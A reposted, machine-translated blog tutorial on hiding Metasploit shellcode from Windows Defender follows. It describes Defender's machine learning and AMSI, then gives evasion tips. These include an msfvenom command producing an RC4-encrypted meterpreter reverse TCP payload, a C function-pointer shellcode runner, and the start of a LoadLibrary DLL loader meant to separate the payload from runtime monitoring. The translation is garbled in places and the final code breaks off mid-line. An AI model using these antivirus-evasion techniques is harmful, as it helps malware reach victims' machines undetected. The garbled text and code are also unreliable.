Shulou(Shulou.com)05/31 Report--

Today, I will talk to you about how to hide Metasploit Shellcode in order to avoid Windows Defender killing. Many people may not know much about it. In order to make you understand better, the editor has summarized the following contents for you. I hope you can get something according to this article.

In terms of security attacks, I personally have great respect for researchers and engineers in the anti-virus software industry, as well as companies that focus on investing in anti-virus software. If malware development is a cat-and-mouse game, I would say that the industry has created the scariest hunters. Penetration testers and red team members suffer the most when using Mertasploit, which forces me to investigate how to improve our payload evasion. To be honest, it's really hard.

For this experiment, I have two very important requirements:

Find a solution to reuse the existing Metassploit shellcode

Unmodified shellcode should not be detected by popular antivirus software.

One of the challenges facing Metasploit shellcode is that they are small because their size affects a variety of tactical reasoning. This also makes shellcode difficult to improve, and eventually, all AV classifiers have the word "EVIL". You don't have a chance.

Most modern antivirus engines are powered by machine learning, and this is a huge rule changer for AV evasion. Not only are AV engines smarter in detecting potential threats, they are also faster to respond. As long as your code behaves a little like malware, malware may just take advantage of the wrong Windows API (such as WriteProcessMemory or even VirtualAlloc), and one of the AI inspectors will help you. Malware researchers will also copy a fraction of your code, which means that all your hard work will be destroyed in a few minutes.

The best way to describe an antivirus program based on machine learning is that it is designed with two components: client-side ML and cloud ML.

Client ML

The client-side ML is something that interacts with us users. The vast majority of scanning objects are evaluated by lightweight machine learning components built into the Windows Defender client. These components run in the operating system.

According to Microsoft, categories such as traditional signatures, generics, behavior detection, heuristics, etc., account for 97% of client-side malware. Using this classifier, the client can collect the "features" of the program, which means the measurable data and characteristics of the scanned object.

Client machines can run independently, but without the cloud, Windows Defender is best at detecting known threats, not unknown. This means that if you have trouble linking internally, you are more vulnerable to internal attacks.

Cloud ML

Cloud ML is a mystery because we can't access other code and training data except for some blog posts posted on Microsoft's website and a tip to use the LightGBM framework.

The LightGBM framework is based on the DecisionTree model, and despite its popularity, ask any machine learning expert and they will tell you that it is very basic. College graduates with a degree in computer science should also be able to tell you a lot about the ightGBM framework.

In machine learning, the hottest topic is deep learning. Although Microsoft has a deep learning toolkit called CNTK, there is not much information about the use of CNTK in Windows Defender's cloud ML. So this is not what we will discuss further.

All we know is that when the client ML can't make a wise decision, he will use the cloud server for in-depth analysis. And when this process is involved, it becomes a malware nightmare.

The first round of analysis is the ML module based on malicious data. In your operating system, this may be a cloud delivery protection option, and you will notice that it is actually due to additional delays when you execute files on Windows. In general, it is not a problem for me to evade the static and real-time protection of the client ML. But when cloud delivery protection was turned on, I failed.

To take full advantage of cloud services, there is another option called Automatic Sample Submission, which can send your suspicious programs to Microsoft and run them through additional tests, such as sample-based analysis and detonation-based ML modules. If the cloud determines that your code is malicious, it will be marked with one of the generic AI tags: Fuerbkks,Fury, Cloxer, or Azden. And then your attack won't work anymore.

Anti-malware scan port

Antimalware Scan Interface (AMSI) is a programming port created by Microsoft that allows any Windows application to take advantage of the Windows Defender engine and scan for malicious input, which makes AV evasion more difficult. An example of such an application is Powershell, which gives us a chance to discuss why Powershell is not your most important friend when it comes to AV evasion.

Powershell has become a large playground for attackers because antivirus software is less effective at checking than traditional executables. You can also use a line of Powershell code as an argument for Powershell.exe, which creates invisibility because technically we don't touch the disk. For example:

Powershell.exe-command "WriteOutput [Convert]:: FromBase64String ('SGVsbG8gV29ybGQh')"

This is where Powershell sold you out. At the bottom, Powershell actually calls the AmsiScanBuffer function to ask whether the code provided by the Windows Defender user is malicious. :

Powershell was so abused that it began to look predictable. If you are an IT administrator and you see some Base64 strings being passed to Powershell.exe, he may not be very good. As attackers, we should realize that Powershell is no longer everyone's favorite payload technology. AMSI provides any Windows application with the ability to benefit from the capabilities of Windows Defender, which makes it harder to abuse the scripting language.

Although Windows Defender is equipped with all the technologies, he is not without blind spots. To make sure our payload survives, I found some tips I'd like to share:

Shellcode Survival Tip 1: encryption

If you are familiar with the Metasploit framework, you will know that there is a module type called encoders. The purpose of an encoder is to bypass problematic characters in vulnerabilities. For example, if you are exploiting a buffer overflow, you cannot have a single empty character in your long string. We can use the encoder to change the null byte and then change it back at run time.

I'm pretty sure that at some point in your life, you'll try to use an encoder to bypass AV. Although sometimes it works, the encoder is not suitable for AV evasion, and you should use encryption.

Encryption is an effective way to counter the static scanning function of anti-virus software, because the AV engine cannot explode it immediately. Currently, there are some encryption algorithms supported by msfvenom to protect your shellcode:AES256-CBC,RC4,Base64, and XOR.

Generate an encrypted shellcode with msfvenom, which is an example of using Metasploit 5:

Ruby. / msfvenom-p windows/meterpreter/reverse_tcp LHOST=127.0.0.1-- encrypt rc4-- encrypt-key thisisakey-f c

The above generates a windows/meterpreter/reverse_tcp encrypted with RC4. It can also be generated in C mode so that you can build your personal loader in Cmax Cobb +. Although antivirus software is not good at static scanning encrypted shellcode, runtime monitoring is still a strong line of defense. It is easy to crawl after decryption and execution.

Shellcode Survival Tip 2: detach

Running monitoring is really hard to deceive, because at the end of the day, you need to execute code, and once you do, antivirus software records your every move and finally determines that you are malware. However, this doesn't seem to be a problem if you can separate the loader from the real payload in different process spaces.

This is the behavior I noticed when I tried to decrypt payload. First of all, I can decrypt my shellcode very well, because my malicious shellcode is still in memory, but whenever I try to execute it from a function pointer like this, AV will catch me:

Int (* func) (); func = (int (*) ()) shellcode; (int) (* func) ()

However, if I remove the last line, then AV will be very friendly to the program:

(int) (* func)

This seems to mean that as long as you don't execute it, it's usually okay to keep malicious code in its memory. Run-time analysis depends heavily on the code actually executed; it doesn't care what the program might do. Of course, it makes sense. If so, the performance loss is too high.

So instead of using function pointers, I used LoadLibrary to solve the loader problem.

# include # include int main (void) {HMODULE hMod = LoadLibrary ("shellcode.dll"); if (hMod = = nullptr) {cout

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.